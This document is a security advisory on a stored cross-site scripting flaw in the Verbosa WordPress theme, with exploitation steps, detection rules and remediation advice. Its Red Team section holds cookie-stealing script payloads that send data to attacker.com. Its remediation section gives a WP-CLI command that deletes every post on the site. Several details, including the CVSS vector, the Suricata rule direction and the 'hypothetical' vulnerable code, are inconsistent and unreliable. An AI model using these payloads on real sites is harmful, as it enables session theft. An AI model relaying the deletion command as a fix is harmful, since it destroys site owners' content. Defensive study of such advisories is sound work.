CVE-2024-44050

Executive Summary

CVE-2024-44050 is a Stored Cross-Site Scripting (XSS) vulnerability in the Verbosa WordPress theme developed by Cryoutcreations. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the theme. The injected script executes in the context of any user viewing the affected page, leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability affects all versions of Verbosa up to and including 1.2.3. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress.org theme repository. Users who installed Verbosa through the WordPress dashboard or manually from the repository are affected. The theme is not available via NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch increases supply chain risk for sites relying on this theme.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but exploitation requires an authenticated user with contributor role)
• User Interaction: Required (victim must visit the compromised page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for authenticated access and user interaction, but the potential for stored XSS in a widely-used theme elevates the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the Verbosa theme's comment or custom field handling. Specifically, the theme fails to sanitize or escape output when rendering user-generated content (e.g., comments, custom fields, or widget inputs). An attacker with contributor-level access can inject malicious JavaScript into a post or page. When other users (including administrators) view the compromised content, the script executes in their browser.

Root Cause: The theme uses echo or the_content filters without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows raw HTML/JavaScript to be stored in the database and rendered unsanitized.

Attack Flow:

1. Attacker logs in with contributor credentials.
2. Attacker creates or edits a post/page, injecting a payload like <script>alert('XSS')</script> into a comment, custom field, or theme option.
3. The payload is stored in the WordPress database.
4. Victim (e.g., admin or visitor) loads the affected page.
5. The injected script executes in the victim's browser, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code pattern is inferred from similar XSS issues in WordPress themes. The vulnerable code likely appears in template files such as comments.php, single.php, or functions.php.

Vulnerable Code Example (hypothetical):

// In comments.php
echo get_comment_text();

Patched Code Example (recommended):

// In comments.php
echo esc_html( get_comment_text() );

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site running Verbosa <= 1.2.3
• Contributor-level account credentials

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Posts > Add New.
3. In the content editor, switch to Text mode and insert:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Publish the post.
5. Send the post link to a victim (e.g., admin).
6. When the victim views the post, their cookies are exfiltrated.

Alternative Payload (for session hijacking):

<script>new Image().src='https://attacker.com/log.php?c='+document.cookie;</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual post/comment creation by low-privilege users.
2. Scan database for suspicious entries:

   SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
   

3. Review theme files for missing escaping functions:

   grep -r "echo\|print" wp-content/themes/verbosa/ | grep -v "esc_\|wp_kses"
   

Mitigation:

• Disable the Verbosa theme and switch to a patched alternative.
• Apply a Web Application Firewall (WAF) rule to block <script> tags in POST data.
• Restrict contributor roles to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes: (None available; theme files vary by version)
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing document.cookie in the Referer header.
• Database Indicators:
  • Posts or comments containing <script>, <iframe>, or onerror attributes.
  • Unusual base64-encoded strings in post content.
• Log Indicators:
  • Repeated 404 errors on /wp-admin/admin-ajax.php from a single IP.
  • User agent strings containing "curl" or "python-requests" in admin area.

Detection Engineering

YARA Rule

rule CVE_2024_44050_Verbosa_XSS {
    meta:
        description = "Detects stored XSS payloads in Verbosa theme content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44050"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Verbosa WordPress Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts targeting Verbosa theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/post.php'
        cs-uri-query: 'action=editpost'
        sc-status: 200
        cs-user-agent: '*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by trusted authors
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44050 Verbosa Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=editpost"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Verbosa theme and switch to a patched alternative (e.g., Twenty Twenty-Four).
2. Remove all suspicious posts/comments from the database using phpMyAdmin or WP-CLI:

   wp post delete $(wp post list --post_type=any --format=ids) --force
   

3. Change all user passwords and invalidate existing sessions.

Long-Term Fixes:

• Apply a manual patch by adding escaping functions to theme template files (see Vulnerable vs. Patched Code section).
• Monitor the Cryoutcreations website for an official update.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Header set Content-Security-Policy "script-src 'self';"
  

Workarounds:

• Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
• Restrict contributor roles to only trusted users.

Valters IT
Securing Digital Frontiers